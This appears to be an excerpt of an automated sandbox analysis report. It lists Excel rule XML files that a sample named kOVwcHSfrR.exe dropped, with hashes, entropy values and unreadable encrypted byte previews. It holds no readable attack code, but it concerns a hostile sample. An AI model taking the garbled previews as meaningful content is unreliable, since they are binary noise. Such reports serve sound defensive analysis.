Preview:	<?xml?..h.....$. 4....v...N...N..a..9)V..C..-..OA.-......32S".PH,...9_....~g.h..$6.V8T.lwt....L...t.9.G..odqY.L...%.;.I.:9.{.[{f.>.1.}3B.8...[~,.....u.O..t.../...8...~.....?B...pG7.uh.Y.....&..+.,.e}v.I}^9.#.?^..(:.....G.'.4...o.b..Fn....3S..Sv.V.)]....x.F.._Jq....._.8...#..D.].0..........<{^...j.........0....D...C_,.6M....x....}.... el.9J....s.....7...6.....z7..F...!6.ciQ..}sK.....L...p...y3{.\.\...W.}..+.....l.g9......y.M{".qOh..]..k.^....+.....U.XA...v.NZK..>.c...`.`.. Tx.. ....Vb%.djc.F...l....>.0}>....@.5_h.}...4{....u..S.(..'(B....#~..r.....[.^. D...bIb..?9W...Q.......&.8Bt...`.x.I{.....2.....F..-a.X+..d.......,..i...I..R......pG...S.......k.....m.D..P.f.+`;..^....t^AJ9.......y<..'...\.9.+.....%e..7.h.../....l.!..rx.........\y$...!9.5s.lo......;.<.^.=.YF..U..B.D..9]uEr.P..1r.....?.F...[.u..T.~..d...x.0.....!..&.c...I.....?.Z"N...;#?@...t..e"..\|p...GG.{.........J...<Prz.........".E^%.-.>_.$.R.>..3.c...._..4... .f

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510006v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1088
Entropy (8bit):	7.77477368984452
Encrypted:	false
SSDEEP:	24:GpsXfhHl8zgecIW38c0jmV1m8JZ/ORQotw1bD:GiXz8seg+mB0yD
MD5:	8A26C865E817C54FEB39AA720DB64B79
SHA1:	17B9617AE5812CE079D756861154F2C2A99B230F
SHA-256:	E0728BC5F312A854D9628C9E1952890EC2B45544995BDF9A4242DF83BB884AEA
SHA-512:	5502BBB7646BDF328B417CEEA39BDCACF021AE0EE75E14CE2637539FDD04CD5072C5E900444C4203C2E5461F18BB2A1BEC0B2B3DE4FE20983126543E3D8E2CB7
Malicious:	false
Preview:	<?xml.C.........~.p..........J.Ly.Z..X"..y.IQ.X..!............D..L.XH..aJ........V.s.m.[=.6:Up...)A...n.`..63.KB.Jx.n.n.#O..m=.jMO.*..T..q.6w.;](V..(JL..U.\|6.C.ee...e.i.1...G.....EJ'.....".QhT.G..xL......w~(P.q....c>.Q.].Q.~\..E'.C=.i;^...gW0.\|}..R...m..3...4.M..p..._T..'C.nq.>.....B...]0!...5\|.2V.)..Z.{.$.UGsEt..vi.....\|#N.{.f.;.<....{>.0U.{.G%......,4...T.g3..?...e@......O9......V..4..NFN..e.\.1....-..P......[....xn........HJ...[.!....ni.s.e./"m.l~.!.../t.9...I..Z..xZ %.'..]$3...O~.8.7...........a.y..;.).B.....m.I....... .G..\|..9,...(.a...N.J.a$9.=.'."..Y....._....e..f.?..rV.#J..\......l......z.\..'M..Jd.~...O.......I.L#M]....H=...v.4....pp.>U^........o..C:.9...r".5...\..B.B...ZxY...8....iw.sq....4SU.a..I. ..-x..MT@dF.4.e.iyW....A.&.B....<.......#->j.6'.P8l1D.9...dx.-q....wZwe..e.. ..Vh...-j...uNv^.=l8....S...l:@N.%...Q........F..(@.85{........#X;5..R..Z.D~[..K...7.V.G...1...zB..%xSBc+.68......R.~g..@}[.$.....m<T.m.JA.e.......%.F?yZ

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510008v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	7.794003731849301
Encrypted:	false
SSDEEP:	24:/Jd8SKYYfAViMAWD+/rTu4+ULscVQr6tw1bD:/X+9fYAWSTTu4+MQOtyD
MD5:	0346330FD7376AB43C7099A7D3F5537E
SHA1:	17B27437C6655E83BFC2BB165C4B78CB5014594A
SHA-256:	A53E0477F6D59D4F8F048B0042273642E936EF4CD9BF69643324E8CD0C7E24B4
SHA-512:	1D064425A686E08CC72808DA803651ECAEEE77BCB46C1C91BAFE1043A9212EF6105EF54455ED72202A997C379D6EF4DE7D813BE51E9A7B53528217FEE1E64EA6
Malicious:	false
Preview:	<?xml6..H..`%/.^}..&.D.l.7.Zl...N.U.F.6`...B...6...[\|F._t..L...Y.\....]Z........h.A o..c.}.-..bSm.`..m.g.[.<gC.....[....n...~...R...ki.........q.{......v...r...9&....S......:}......=@.H1.....kJt..r....!..f...mf.......:.../..g...(>T?.qP..Q+.k.......Gj..D4k.p.........?}Ax.l......z...[.d7..K...N..\.W......w.nq.......j...6p.Y3h...B.{....izC.X.\|.C{..u.F.5..J.D\...1......<MK<..h...)......P............6..S.....g4...W..H..D...HJ.9).?..<...z.D'.f.0.\|s..$%.1.e3${K. \|...=]x.6qLF...Vt..3.e..1.LU..L..Z.....-..U[6J;.v9m,78%..b.#.....,a..!.G.zL.@I..!.p.U%.!..T...g.H.m......d..[s......J....6.l..1.tFb.Y.0`B......dZ.Pn.;..Jqh_7g]Q..\|[c.`.....).@..R."..J.7?.6!fD.z(..\|...o.}W&.A]yD..i#=%..1s!u...[E..T.....?Y..w....h+...].....f.w..i......z.v-..#-Bs.....9..S.G^..+.c..W......p.K....M...[3@.E..!E.]%k..i..h...q.).7es,...u....#..{.\.5*q3Z..>>...>b..Y,..,....f.B..CR....o..gW8.A.]8...y,..%o......1..W..d..{.L.-...&...1.0.......mb..ks7xX..s.H...=.nC..eU.\|.i.>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510009v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1192
Entropy (8bit):	7.790946193137405
Encrypted:	false
SSDEEP:	24:e7K0N1n0Kl9JpoAuAYclxb3h367jkIO4Gm4lkPFXonw1bD:yOu1Jh36kIzWmXyyD
MD5:	07F9013376081E02A1A1BDAE3EDB24C5
SHA1:	65B95B45C0B9782C7DFE5EEDDA3A04A6983EA276
SHA-256:	E32EB819A9CE4586F9AE161E18BF2093FD8391593A21439CD0C2B4602E570DB9
SHA-512:	83CD913368627EA478D5E272350F0B0281CA69425C3C9F58A5E539BBC97497C37B725700E4F2D00BB2AC0621491693CC5FB7FFFBC483A1F2F9F7E6F497FDAE4F
Malicious:	false
Preview:	<?xml..3./...o.DbL.....N...)..2.].i..`...\"..0M..n....y.....4.3q{.7i..{)`Hq..~uYp..!D#..Y ..{y@...+:AZ..9f.?S.(.....G(.9....P..~Q.i.p."R)q`h)...%."%.e...i....%#...Rb.+.%....).>5..P.....3...4bw..m.;...(...2....h....#4wt..NZ1.......kpA.>jR.C....jG..l.O.'..Q0..O.....KX.1).."{I.<v.Lk....7t.,...5.d..d.x.].{....z.D.E6M.slp.[......F..w......@C...;..irP.m..=....)z...9N...NQk....}..(w._y..w.v..3.......Z.Iah.}!.g.F.d...H..T.=Z4O..\.(..#..l..L..8.Lf..........%...+^1F...8..6...P..P.!Bzyy....f4.r%....V(I.2.y...+p?E}.9Y.V2w$..A.M.......E.c...#..+.G.....2..-...C.i.`j.......D.!.....u.k...+.8?..o$.}.......tG...+..j..,...fytx&.....]....Dv....n"...........R....,....T..vr.>....,.8...NlICfkG......H ...^........S~oe.d.A.[...ky8.&....8......o{.rR6w.67..i ..?...qht..f9>.Z../.Zi...i...K.2$.6....7?(.kR.w.....Zm{..}.....,.S....7+'..$.k..t...-..~{..S.R]\..._.2.N...c.E/.0U..\|A..?L.......{...q.Y.K.%@..S.xob&./Lo....o.#wYd21...2.?.;E.?$...s.!.).....0.SJ.....6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510010v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.787028406970206
Encrypted:	false
SSDEEP:	24:jiMeXM7JiIGcEM4E0KhoXBP1Nr7k5ivayhYC9caOr3ww1bD:jiFXMFizcb0dX51NoivN9WUyD
MD5:	407370028E574DDCA837F07432BA40C0
SHA1:	04CEF0FD1F3AE017162C51C066C4768FB81973D0
SHA-256:	430CF2D49E3592F6699E0443E02A81113C2246B5A896BAC99EDD98F03A85BF66
SHA-512:	D365BBF1EA5E87DEE9ADF98BE347589CA0B395742B86A21AC553C50EE651E90ADB77963D4CC6C1C8D0E549F44C6FF2E9BCAED47C355FB4C36D76573DC22F9CFE
Malicious:	false
Preview:	<?xml._.......}..:l.{.wk(_.W"VR<....t.p0..v.ai.Vt.z.Q.k:W.m.g.Wi&...B.'....d....=..9.j3.....<$..{..h\....jt..LWYRp..3.Q ..i.W4....X...M..%.R.?.DB.r...#.".\|d6...!.?.$...VY.\|..<@.[.(..._..Mu.._....M./..q.e..{..%%..&{!.....pr.......>....L9...R.~Y.)...Y2.......d^`1...i\|\P..N..!.........P..~N.1<.B..1...>4s.(.r....T....#;..?...:.4....qsI.I..\|;..._.M......ibB.....M...Ty.Q.X..jK4...4..2.>!.pU.....W..5&..0:...].b..!....&.G.R..(.[4<.6p......z.w.+1?S l8......(...Z6v.o.V=...u...[.4d_.M5..T....>....c....&.0...GI.!..2....yZ,.....p...........,Ei.;N.e.. ..........$&. ..f..W..E....R.../.>z.+f...F... ......%...+...,>......[...p,...GV{.G.2...t..^........g.......b..`jf.[..4....kZ.....Mw..?P"-{?E...AK.6.u=w)C.8B(N.u..R.....I\=.G..VVby.L.......O..........s....;......eVm.../.v..>.'+3.........P.!.P>a.8.B.O4.....O....M}...[.he.\...*;.`....t.}.'.k.^.p.......~..oe........X.j...`..S.T.si..^.~......Y}E.Y.N\.-4..s..)}.....R%.....MP..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510012v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3884
Entropy (8bit):	7.95953575073347
Encrypted:	false
SSDEEP:	96:AwfYOZfBQsJhlgooCNJn5nD/dZ+awKefkhs4yA1N9iLcVHshHpa:ICfasJngo7JnZ/3+Cef8R1N9XHshc
MD5:	14D695440A123CD6013C858B049E4EC8
SHA1:	94AFDCA01D073115BD1E46946C62C4BB0C163A73
SHA-256:	34B4D430FE713F4CD6E5D30240DF1AEB3A05B06FBEE373AC664B9293ADAFA48B
SHA-512:	110227014ED762F708E3D1E619FED561CA625857C3D8795F8A86AA3FF8D74BE43BF907A661CFFD86AA20FCC5B7F288184A59918054EA46576196AD95674EAF3F
Malicious:	false
Preview:	<?xmlj.'6.'f..(...H.Y....@...Qs...&.#.....\|.a5H..g...q.k.,..?...n...O..<!Oj..<&..#.c..;...'.J....e#...'.It7...Q.w8....T..<.....h.^...F.<.A......LZ~./'}.u$..T..7....&V_....X.T.Q`.?....23..y..m..b..;m.$.$....$..,\|....g..a...?......x........1.@...u.4.<....w.Uc...=...0i.yN.f....~{.dh.QS....}@.U/..e.I.w.....?. ...<..=.....Z\.......8.......Dz.. Yr.s.............J ..Gt......S...'Onk............H.T..w..O....M.......1....e...p.j<{.<(.`{....~..6..X..b.1`.q.~...z.V...g.L.)%...\12....q..k:^D..S"..S..R!u>....{.kn..N.....t.}@.X.a..7....3.=.)z.....d..zx]Q...........f...l.........M.].ya\....._a.....\|.XB.zY....A..s...._e..>.38d..z.\|...K..1....N..C......N[...PK&......;......-v...f..;P..~7.._....m.@..g..w......=.L..~.$\.5,..8A...y.K......P.R.;Z;....>..=k.Bz@6..3.Do:E..L&..d ...R9.Z..b.,...)...ZP?..eG=".#8....bvc,...a\|..O<=..Q.".pqZJ.b6?I'...{..E..J8..}.H....O,w`4..._.."......5.h.,e....l.......i5M.!...-.s2+~.mM.N.e.r..yW.).%KY\j...a.\|..&'e.,......[....F

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510015v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.708286599763505
Encrypted:	false
SSDEEP:	12:/CkUzjR1I04J2SdCfVcjCvDc0ymNAsNgHI488ppcn4YkoGoqw1cii9a:/CkqjR0EaZ09CQYj37w1bD
MD5:	2AB755C91DC97A47235F66B437DAB5E6
SHA1:	E6CE01557E528CB0BAD8BA847D488443CD7D8FA0
SHA-256:	B5558A7714490746567CFB85C318C2CE0B5C7A11E60B8922EB5D11AA3712C25E
SHA-512:	56B905F67700DFC8641B665D42190C2C7B9DBAF5F0355BDF7F8510456AB6662DCFA0BBFDF3DC39613C68BC31AC05143BA9EB2B776A326CD64E409B32E9A621EB
Malicious:	false
Preview:	<?xmlw..,...c.1.Q.<..O.D.s......Ym.D.......j 0g>.K.:Yx.V...v8....<N2....Rk,uz.b.DA.....StI.\|.w...%.g....cB..:.'..7kz.m.l..N.$.'...qE....k.JHu.v.....q..?...3.5T.?....,....A....u]......4.l.ol..'CA....t..p....x..]F...O`....!...a.NH.l....-..mYt)d...x....e....0,.T.m..O}8>..<B..+v...#...g.N....B.........FK.1.h...O.p........ff..%.-/.D.........bpRG.. .a_.6.3.s. Z......7......mK..Ki.G@.$?T._.5(Gf..81.8TH.j....bu.X..)H..^w...G.@9..._{.v..]/D \|...1[.oS....Y.\(....[..).{g;.6.M......W.;......\|....B...0....1...5...tT..0.hQFG:A.o.&...]../_.'...~#U.A.nLR.......(T%=..%...}....W@...r.%....S...f._.>D...$.p.......z..Y7.J.8......C...p8\.^...'d.1~.6.......U.jf...*.....Q..3$......E.YoTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510016v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3934
Entropy (8bit):	7.950063524891465
Encrypted:	false
SSDEEP:	96:CxFBfIEZJzCeb8br5qdXdCR/JYpJ5PDdyXWBOqVCruq5fTa:CxE0HQ5vsJ1oXILVEPc
MD5:	299E11B631D2C5EB5FC30B8B163E7B94
SHA1:	8178CD225525B36F4ECCF015D7B381A77C021572
SHA-256:	CABF2B871417C887063F0CE5E8E3C90E22646E4D46FF549ED901B8FB3B666704
SHA-512:	231411A088B1209CD3848B52B503F5D4047521C0471C44F130A1521809F00A565A8BEB89122117040EDC9144A105C1DFFE98883F8DD85F201AEDAB095EED64B7
Malicious:	false
Preview:	<?xml`++w.Ogt.+..\|4}...}..#My.T......pKf........]"........=..S...4.~Euj..>.c...y.<.).^.%..U...TZ.-.Xu...."J.X.F-...@.Y....&..Q.x..d.#.#.]k...Y.t...K....=.e.g..UF..6.....[...f...Ir.Q M.b...q...SY..6.N+..6.Sl......i..0n.....#..._.$..S.p...6.. ......iW.N.%WZ.k.AO...A.BR.l...7.PwCBj\..\@..O@...^IO..9\|..>=.jW\.7..+...AX....L..T).....4.Pp...P.9......mE.t....n^....2...{Z..8.Hd.5.....,..1...&U9Q.1..r.....0...p.J..O..9....#2.8Q."......`...v4.....St.u....[.......60n...^D..jWg.H....#Y....-..P..:..b...JZ.......2."!...UR.....}..........\...q..=&.w.,.sy...3....M..)..Nn.Pt#..I..~.34w...Q.b.kw;...]=GZ...:..HD0.;DWa@.4...7.rHG/&k.........^.l.;...u.A.........U...I.~.C.M......?..x...`VQ.y.......j.X._giy.C....&...f).P..+z.M.0@\...c.y..._".......E.*.@!%<.w..1h>...LF9... ...j0""H..k..c.Pv9....2(.."..:$...U.....@.....Y..B..l..0..8d....Z..L......:..t..X.J..m=\q......=.....N.Fl.G.!'...%.....d..A<.H.(97..l..Q3..i...'....~.&.#....m.X'G..^....Vo[........I

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510017v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1148
Entropy (8bit):	7.803592719956189
Encrypted:	false
SSDEEP:	24:7FZPpVhda7awYXcfGCH8ql5fexFcFo1kZne4NumRcNhO9Mpw1bD:7FP3dmawYMuCHblBeYyen/TcaGyD
MD5:	033EFB62B9851CD56C159D7F3A096B81
SHA1:	947216AFE6382FCE6E2723EAF49EA2C7E9025360
SHA-256:	658599B40D4712BC631DF1FEDBBE03341C596B1ADB87236A17A5FB3390DC9CD2
SHA-512:	B03CF6C1B8EF6307966EEF73F5AA690E198BB5597DA93155BC977C54E619CCD0F01CF958C498F794AA4D3504BF99B897BC3A40B5CEE1C56BE48BBEF4DA8A1D6B
Malicious:	false
Preview:	<?xml..~......p.2..$......6....O......~;7.6(.N....... ...0d...y....ZT...qS.nE.X.A~+.....2.."3U.}.5....0{.V.fF.......v....$,J.....X......R<....{.....=.z..\|.N+.h..j.b_.\4...?O.2M.)......9..7.(...7.9S..l.a\|.f...\|......z.l...\z~.<.R.X.Z.}#.3......>..-(.P\|2......].........\|.L.......{..i^...[kE.P;i...l.<..0.....9.&...g..(....B.R............<....:..a&..% .G.W.x..:........Ko....#...H...i'h...q.0..s...5..7?.[.JX.Gi.-....3..I.N...Fh...P..........qvD..Vw.m...5.Z..H.~.$..t.9........G...CqFC...+....#..._z.."s..tW...E.......J..P"........e.1..[`. .w....4...-2...@.b}.^.".D%D.. ..g..(.`/...`...I.l..B..4U.f..pt.b..5..Bsh.`.G....\..."...K.M...8.%^[..(.V.K..$.5L:....!i......;V.._'....C..."....S..-8d....~H.`B.:T1.........:d.h...t..4.}2...}z.Mp..2..J.tu..C.\.dz?....;+....2>ZI..H]...I..$...z.}..L.g..<.yC.%..0...HnIEYl..m.c...1.A.~.:.).c[.[.o.......G.....e..s..D..^c...LY.....m..a4....i..b......K.R..B.....L)..K..Z.C..@.1..L..b..h..7..)#....E....(.4..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510018v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1782
Entropy (8bit):	7.8897621102788635
Encrypted:	false
SSDEEP:	48:Nl+PewcKE02fD6Nh0gfLqngxe4mgdmzYfmryD:NlscKE00mNh0Kqgxe4mBamra
MD5:	59C20249EE167CAF2AFC58656E4CD6A3
SHA1:	ABF54315586D7969254489CF50613F53A09C7201
SHA-256:	3202523B069F43DFB77750A865C6AD3FDAD5EE720DB492EA750637C0F30E9067
SHA-512:	973BDFDFF2EE22C850CD5ACE12B9339276DF78BF4AF7290A1B79B483D53739BDF4C21152B8B29A1074F2BC327164B3772D62282A11C9CA2824ACF054F67CC438
Malicious:	false
Preview:	<?xml[.Y#.u.[.a.j;m....`..s(].\..q.....O.....{....0..!..^..J7.x;....Cc.Gl..%..z....2..wz..H......;....o..s..SB...v..\.F.%.+9 .I...`j....."..s.:V.3.....o..gJ.!/.2...6o......Q..u.U.%A....GY..f]L.`.JXk4..yk.^.q..u......(......H..:.g...N....o..%.B.dU...{a.+.y../v.h.....wl...e8.].A....T;x.........P...V....bUvg.q(...8...eT;..A..<.e....9q....v.....8....B.}...<....xH.....=....q....A.4...m.l..C.:.q...p.95.@:.#o.wm2..::P.!zFJh...z.-..'...-.JQ.{[H.)..."\|ON....:<n...K.l.m..Cz...k.....C..xQ...\.......X.t...5T(.......N.G...3^....DW.n....I....u..:.....(.8.n..-..".$.v..B...N._VV.ft....u..(.3....r...iDj....^u}W-L.....QT.L.....\..o.......~.......a......__.D...)o>..1......K..L.F..(j.)9..X..\v..8.....V..v.f.M..R.....$<..ZN.........A...M.U.n..w........._....wq......`..wK..T.......N..#..0b.^.]}..@0.%..fR..]....C.)=,}5..(.y.6I..,.><....5Sk....^..Rp\|..n..E[....^.........'.w..h....$..d..........?o.B.{..[.C.F6B.f.G...7..*....1w..y..a..-.(..!c{...'.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510046v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	791
Entropy (8bit):	7.6868388616380345
Encrypted:	false
SSDEEP:	12:RtlXlukMC8Jeq9U+fOygA8qyvwnl2h5mqfAWuFrTlGKBXraxbmVMr7oqw1cii9a:zv0tOyfBSvXuFflGKBXrUpvw1bD
MD5:	DF2627215B829434F0AF5CE044247B9A
SHA1:	8AA54E775E822869FDABDE208A2874E32C2A082F
SHA-256:	95F5EAC67E5E146EEB677DCB1C8F20746C8B28932364F6F829DAF8582C1665C5
SHA-512:	FA68E5B5FEA7CC828BA2F223D5C8D82C52E7E9F333E7C10C2ADEDBBF0935290E44A0BB3889FDE1A17156BCBE192F77A536215EB4FD352396093BFAE3F5586F35
Malicious:	false
Preview:	<?xml4<.[.H..-9...ys.Z..L.d..G....3f..\.k..{s.Z.C.....=...../3..w...UCH.!.....E.....30 ..y...A.E;xeu.+5o:.+.4;s<0+.Ky.5E...M.E..3....,..CV...../X.e..J.=p.P0;f....H`..K@..s...r....+..u...$#..!.....`......k..........]..R.4. ^....v..E.....h`q.?!.+.S.5......U.....6.-..j....@.{......J.J.....c...z..K..l.a>s..K2.p.[.......e..w.z.r.Q..I...t....9.C.?.P.K..a...x^o..1..e?.?2/l..&...xC/..~2..-.H.yq.x}.../....:<.V.Ed.y..~9.;...V..?a7....!i.!f:........lI.%S..x....y...9..w.K.......).......~v(.....R.w..yTc..._...[...,~....9.;..V4..z&.. 0...*....i...).l.0......_.....d.A.n2.M.~.....P.d...)W...~8....S.j..v'g.v.7..k.W'x.M.2kct.....r..(.I[.--...<Pv..``A...1....UPE...w...~.&3V...J..1.#....9.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510047v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1082
Entropy (8bit):	7.785710097337227
Encrypted:	false
SSDEEP:	24:x/AsceL34FkkqtfCo7jDXqNwG32LbMlqpvNgWYaMTe/6w1bD:xLz4uHtfC2XpNfMcoJ3yD
MD5:	CFB7E17B0259E39F82B73BC22F1DE24A
SHA1:	77F5D909CCC71D4128803F4FBF57F8EF205049EB
SHA-256:	64BCA9FAA338B970FB9073D79E7ED615C532659C7DFEFDDFF0FBAA1A16DDD48F
SHA-512:	B64C8839495514DE098ECA3889D39F5DF4B09BED99E7FB1780819B28DF38FCA12A8CC68FAF48D2B8062407AF9EA21FFB2A421E742211FD34D4C1EB1DB58ECD8A
Malicious:	false
Preview:	<?xml..k.q..6...v..#.7sh.cD.._'4&Br.j5.._3...h..hG64.dO..@.......[5.^....u...9...Ki.++g...nH.m7....%..:.;!.2."Phl"g...&%.gQ.gC.K.V...\{v......wv..k3..&..(...4..M.....1...8....5..8..sd..R.3...a...%..~e...7G.gp..a.UN.z....D/./J.V..,V;..H....k.....2............$.U.../..[^.F?.Z..F.V.0T..u._u.[....3S.....N..O..s....XT....d0..%.s.$....9ff.c>.`u..vn....R....q]W.I...\|U...c.(D.......D&....9..Iv..y....H-....">.=~..(Pw..O.o.~(.0y#...X..a.:..@.h...<.>>.~.)a....{..e.h.m..b?d.f.?..@.#..sI..x^.#...6(.".x.`..v+.( ...^/.CW.s.%..dR..9.e%.]5..3r.@.....).%p...l36x...3..@a..U 'T;...>....M@...b....uXsZ2..X..(D..{.$\n.....OR..:...M%LB.,.....f...j..x2X-.\|...}.....L.#.."u..Y0).RJ;U....\...5.D...,.V:......6..p_....~R.M:C.R.....y...e...3}M.....f....1D-E.#...3+..2....ZW..W#.A,'L.!C...'.S..n%_...z...3.9._...G.U..1}S..{e....Ns.3.K.O...KSA..d..~.O^.M..?..).).wp......H....}..m>.a..n..Od..w.....6....lG.s....N....z....5...\...Q.8i^@..U<.>....&.7.^.....Q..T+?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510062v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1061
Entropy (8bit):	7.793026616370878
Encrypted:	false
SSDEEP:	24:m1+mxiCrsRVvMH1HfuvNmud5ezS70dC/HDltJ/STJxSa/T8w1bD:m1PxtYMH1os9y0A/j3JuJ0ar8yD
MD5:	C74D86BAF503C9030CD51D2767A71184
SHA1:	D352567CBBADA78506056699301940DA309A5DF0
SHA-256:	C979F51D9423CA979A7D78A2E10F2F6F4FC8D0DA82E3551348E18EC5D22408DA
SHA-512:	C9786862FB3025FFAE6A96282E252CC84F405251D95C483FBA7933D1A7F0ED255899D912C70A8451E40979C83C50C6F4ADAC01C1E0F1E141E58B3D82A3E4D5E9
Malicious:	false
Preview:	<?xml.~..a...m.......$m....~....:4..Vb......0U..\| P4..i_.......a..)...Hi..e.."y..j.C#B...I...iF.jkP..?L......Cf0x.l].....f.!.G..s...Nl1..C.JH...c.Ej.5.XL....:..c.iR'..M..lB......X.....\|..F.u...h$.B.h.!..)."..S......h....f...$.f;{.......;......H......\...j.J..^..Y...O..X.O....mJGu).f.3..[L....~.1....(......}.....'.&...$..D.\...sp...g5...+O.I. .2.......g..h..s5.W.&N7.i\Ya7..]v.&N...+\|C.QCPAG.\..{....I.j,..n..Q.k..t..J:&.g.....C....!.(...~.J.....h.'\M`.0.p.S.M..Vh.".oPy...Q....)......U....Xy.....f.r........<.G..w..3..0..2.c.&T.vo....K....j.7..U.J..AF.......1...h...5o.bg....@'....S..O.....HP..5OJg...{.(i....+...^X-.....~..z.4\|.a5/..N......cV.(8.!.k./z......;'.H.k.9T>.5...'.sM.W."].%.L.J<...6BZ.......z..r..C.Z....=.......GB..6...F.q0...}=..a.$nS8..$....rM........M..r..3D.2..j..../.\..w.AC[..'V...h..<./)6.....( U...A!f..1\|...&L....dz..9. .J/.z.A...Q.{....9.j.E.;f..........b..M.......\'s.G...3.7*L'..\|f..%.n.:+Z.TkVHfCIIwaAyDJuFp

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510063v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.681091163135858
Encrypted:	false
SSDEEP:	24:1qt9aW9thGaAuzLZ/2XEkjMLpbNwdyYow1bD:1LW9thpAukUXpb2dytyD
MD5:	E9355BB09FD314694A74FB6A056A6A89
SHA1:	868BA5CBFFA5D8A8F680A32F5F1BD357D7046A46
SHA-256:	6AB6EDECA4128E2EFB840C45D44EF82E3A7552CEE1E527F2EEC4F6A6849D570D
SHA-512:	EF9B7AE3E7F636DE3F63AADC8C1BCD442413B775182BD2B696259596EE30360D53845A487DC183411544691ADD9C4F464B6CC5B8E0EF1EBE4340B925B6498216
Malicious:	false
Preview:	<?xml.;.....a......"....).!.#W.E.L....dct..3O..@...{+..7.......yE.A.Z.U..........F..B.....g.EY...Nw..a..9R...f.Q.N/..2q-;R?.V.:..]N{......[.g:&.....]..d,..x..pt.........@.A"..3;.41..,...r.......<......ic....Q.......Ap..M...:.{d..Z...%Z!1....,..d..G.!..6..N.e.....3z.J4..'p....4....y.....MO...u......$.....\|...l..n..i.[...<....u.(...+g[o.A...Crd:!e..Ia. }...L:d..g..$..F.....I.%.Ri9A......[%".p.A.....fwG.TM}P....o9p..t.y.SC~\..tOR....#._9.N.2.2...X.+Aa'U..m......d...X....[.....E..\w....Z.s.V.[.r.. c..0..-WT...o9x....U.Y....mJ.. .b*..ie.....el=...5.\|s.Yj.NF....(~Pis._..\|...?g.....R.......5.k C.Dc...H\|.....P@cE$5.'.\.-j$.s..a.g\|....y..5j.L.R9.....d.."9.J..bw.^.@B@.y..::Zb!....o..r....-./9.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63028v4.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1485
Entropy (8bit):	7.842345508005992
Encrypted:	false
SSDEEP:	24:4aE4K2eNjEhyES5P1KgG8MdF7zIeNN7OHOdV+kGg/6aX9jlE1Bc4t4wYAkAnI+8P:4+pqgI5d7WF7jhOudV7Gg/6ITwdnI4yD
MD5:	FCACF9486BB098D19ECDB43BDE63187E
SHA1:	12FD8D5DA1D0A3D3B6576D17482F7F9AD3B8EF5A
SHA-256:	0B3356E0236EDA271B422ECE811B835507AE55EE43A98B0623ECE8D62D4D6B57
SHA-512:	311C09B9E1938D7C24C7741924FE47958B126C2561F8897FA2F694BE102EFEDB78CCDF69EBC96123651949D5A03076B7823FADE75376AB2FFF6558028DD9E045
Malicious:	false
